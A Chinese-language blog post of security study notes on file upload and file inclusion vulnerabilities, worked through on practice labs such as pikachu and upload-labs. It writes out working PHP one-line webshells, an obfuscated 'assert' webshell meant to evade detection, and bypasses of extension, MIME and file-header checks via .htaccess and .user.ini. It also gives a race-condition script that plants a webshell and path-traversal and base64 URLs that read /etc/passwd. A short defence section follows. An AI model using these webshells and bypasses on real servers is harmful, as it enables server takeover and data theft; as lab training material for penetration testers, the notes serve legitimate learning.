音乐播放器
Moyv_blog
 
文章 标签
5

Powered by 墨羽 | Theme: Fog

文件上传和文件包含

任意文件上传

简述

任意文件上传漏洞往往是服务器提供一定上传接口,但由于对上传文件类型限制逻辑不严格,导致被绕过;攻击者可以直接上传脚本资源文件来控制服务器,也就是sql注入漏洞中介绍的webshell

靶场练习

找靶场 fofa.info
http://192.168.142.53/pikachu/vul/unsafeupload/upload.php

一句话木马

<?php @eval($_REQUEST[cmd]); ?>
执行命令
eval() 函数,执行php代码
?cmd=phpinfo();


system() 函数 执行系统命令
?cmd=system('ls -al /');
linux:
    ls 列出当前目录下的文件
    ls -al /   列出/目录下的所有文件并且显示文件详细信息
    whoami 查看权限
    cd 切换路径
    pwd 显示当前所在位置路径
    cat /etc/passwd 查看文件 /etc/passwd

前端校验绕过

  1. 禁用js
    插件 Enable JavaScript
  2. bp绕过
    先上传图片 , 然后bp抓包 ,改为php文件
    <?php phpinfo();?>
    http://192.168.142.53/upload/phpinfo.php
  3. upload 1源码分析
function checkFile(){

}

前端检验上传文件是否为jpg / png /gif格式

后端校验绕过

文件头
常见图片文件头

文件类型	文件拓展名	文件头十六进制	文件头实际内容
PNG	    .png	    89504E47	    .PNG
GIF	    .gif	    474946383961    GIF89a
JPEG	.jpg	    FFD8FF  	    。。。。

在php文件前加图片文件头来绕过

upload-13
MIME

对文件类型检查有缺陷-检查Content-Type标头是否与MIME 类型匹配

  1. 上传 webshell.php

  2. 抓包 修改上传的Content-Type 类型为允许的类型 image/jpeg

  3. upload 2代码分析

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
//如果content-type不是这三种 就判断文件类型不正确
         $temp_file = $_FILES['upload_file']['tmp_name'];
         ......
     } else {
         $msg = '文件类型不正确,请重新上传!';

后缀名

  1. 黑名单

    1. 绕过:找一些遗漏的后缀名
.php
.pht
.phtml

".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".
pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml","


.jsp",".js
pa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",
".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".
asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr
",".sWf",".swf",

上传php文件
uplaod.php
<?php @eval($_REQUEST['moyv'])?>
上传后缀名php5 /phtml
uplaod.php5
<?php @eval($_REQUEST['moyv'])?>

upload3 - 关键代码

 $deny_ext = array('.asp','.aspx','.php','.jsp');
     ...
if(!in_array($file_ext, $deny_ext)) {
    // 判断文件后缀名是否时asp / php / jsp /aspx
    ....
   $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';

特殊文件(了解解析漏洞后再做)
.htaccess 特殊的配置文件,改写apache的配置

AddType application/x-httpd-php .php .phtml
或者
AddType application/x-httpd-php .png
SetHandler application/x-httpd-php
// .htaccess
AddType application/x-httpd-php .jpg
// 1.jpg
<?php phpinfo();?>

.user.ini特殊文件,apache,nginx都能用

auto_prepend_file=01.gif

auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename>          //包含在文件尾
  1. 白名单
    只允许特定的文件名通过
   .jpg
   .png

文件包含(后面讲)

  1. 判断黑白名单

上文件过程中,随意更换文件后缀名.sjdfla;fsljfdlsajfljdslflsajf

文件内容

<?php
@eval($_REQUEST[cmd]);
?>
  1. 过滤php特征

<script language="php">@eval($_REQUEST[cmd]);</script>
php版本<7
2. php
短标签
<?=`ls`;?>
<?=是PHP的一个短的开放式标签,是echo()的快捷用法。
  1. 关键函数,关键字

  2. 函数

eval
system
assert
exec
...
  1. 大小写
eval ===> Eval
  1. 动态拼接
assert
只有特定函数支持动态拼接
  assert 执行php代码
<?php
$a = "ass";
$b = "ert";
$c = $a.$b;
$c($_REQUEST[cmd]);
?>
  1. 免杀

异或运算.................

<?php
$fruits = array("a" => "lemon", "ss" => "orange", "ssr" => "banana", "t" => "apple");
function test_alter(&$item1, $key, $prefix)
{
 $item1 = "$prefix: $item1";
}
function test_print($item2, $key)
{
 echo "$key. $item2<br />\n";
}
echo "Before ...:\n";
array_walk($fruits, 'test_print');
$a =array_keys($fruits);
print_r($a);
$m =$a[0].$a[1];
$n ='er';
$q = $m.$n.'t'; //assert
$r = $_REQUEST['wange'];
@$q($r);
//密码wange

?>

条件竞争绕过

如果一个网站虽然采用了白名单方式过滤上传文件,但是它在程序是先允许任何文件上传到服务器,再去判断文件扩展名来决定文件是否删除(存在时间差),那只要攻击者快速发送请求,在时间差内访问一次恶意文件即可

http://198.74.107.99:8081/Pass-18/index.php

  1. 随意上传一张图片:

  2. 成功后查看图片,可以看到上传后的路径如下:(一般只要右键能找到图片地址的,在响应包里就有)

  3. 创建一个php文件(要求一旦被访问 即在服务器上写一个webshell文件)

<?php
$file = fopen("webshellphp","w");
fputs($file, "<?php $_REQUEST[cmd]?>")?>
  1. bp intruder
    不断发送上传的php文件(制造该文件持续在服务器的机会)
    不断访问上传的php文件(只要有一次访问到就可创建webshell文件)

  2. 找到状态码 200即可

  3. 代码分析

 if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
  1. 先通过move_uploaded_file(tempfile,upload_file)将文件上传至服务器中。
  2. 上传完毕后通过in_array(fileext,ext_arr)检查文件名后缀
  3. 如果后缀名合法,则对文件进行重命名,上传完成
  4. 如果后缀名非法,则删除文件。

漏洞挖掘

基本思路

先上传一张正常图片,看返回结果是什么,是否显示上传后的路径,并能试验是否能访问到,再去测试漏洞

- 文件上传
    - 常见漏洞点
        - 上传头像
        - 上传简历
        - 上传附件
        - 上传模板
        - 发送邮件
    - 漏洞挖掘
        - 文件头
        - Conten-type
        - 文件扩展名
            - 先判断是白名单还是黑名单校验
            - 白名单:文件解析漏洞/文件包含/条件竞争/文件解压(CTF)
            - 黑名单:文件解析漏洞/遗漏的后缀名/00截断/::$DATA等
    - 引发其他漏洞
        - 文件上传导致的存储型xss(text/html、image/svgxml)
        - 文件上传导致的拒绝服务漏洞(上传超大文件)

案例分析

头像上传

  1. 上传头像,抓包

  2. 上传phpinfo 验证
    <?php phpinfo();?>

  3. 上传一句话,蚁剑链接

(xss)挂黑页

1、参考之前xss文章
2、因为xss本质是JavaScript代码 ,其实可以挂黑页
3、一般众测能给到中危害(除了某些会追你责的xx以外)

危害

上传webshell
上传超大文件,占满服务器存储空间
    其他用户无法上传文件
    服务器无法写入log文件或其他数据库文件
    形成拒绝服务漏洞
上传html / htm文件
    形成存储型xss,盗取用户cookie

防御

1. 文件扩展名(白名单好过黑名单)
2. 避免条件竞争
3. 文件头 / content-type校验
4. 独立一台服务器存放文件资源

其他

  1. 了解解析漏洞
    1. Apache HTTPD 多后缀解析漏洞
      https://vulhub.org/#/environments/httpd/apache_parsing_vulnerability/
    2. Nginx解析漏洞
      https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/
    3. Apache换行解析漏洞
      https://vulhub.org/#/environments/httpd/CVE-2017-15715/
  2. 靶场通关秘籍
    https://github.com/LandGrey/upload-labs-writeup
  3. Weblogic任意文件上传漏洞(CVE-2018-2894)
    https://vulhub.org/#/environments/weblogic/CVE-2018-2894/
  4. Apache Flink文件上传漏洞(CVE-2020-17518)
    https://vulhub.org/#/environments/flink/CVE-2020-17518/
  5. 蚁剑使用

文件包含

在网站的开发人员在开发网站的时候,会把经常重复使用的函数或者特定的页面写到单个文件中,需要使用的时候就直接调用此文件即可,而无需再次浪费时间再次编写,这种操作通常被称为文件包含。如果我们没有对文件的来源进行严格的审查就可能会导致文件包含漏洞

靶场练习

http://101.43.1.181/pikachu-master/vul/fileinclude/fileinclude.php

php文件包含函数

include()
require()
include_once()
require_once()

file_get_contents()
file_put_contents()

漏洞挖掘

常见思路

案例分析1

本地文件包含(CVE-2021-43798)
https://xxx.org/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd

案例分析2

https://www.xxxx.com/ro/ZmlsZTovLy9ldGMvcGFzc3dkIy5qcw==/-1430533899.js
Base64解码:file:///etc/passwd#.js
之所以使用#,是因为url的结尾必须是javascript,但要在url中忽略它,我使用#之后的内容会忽略在url中

案例分析3

黑灰产
代码审计
文件上传 jpg
文件包含 jpg 拿shell

###危害

防御

其他

  1. php文件包含函数区别
  2. 学习使用Potential Vulnerability Indicator
    https://github.com/PortSwigger/potential-vulnerability-indicator
  3. vulhub文件包含漏洞
    https://vulhub.org/#/environments/php/inclusion/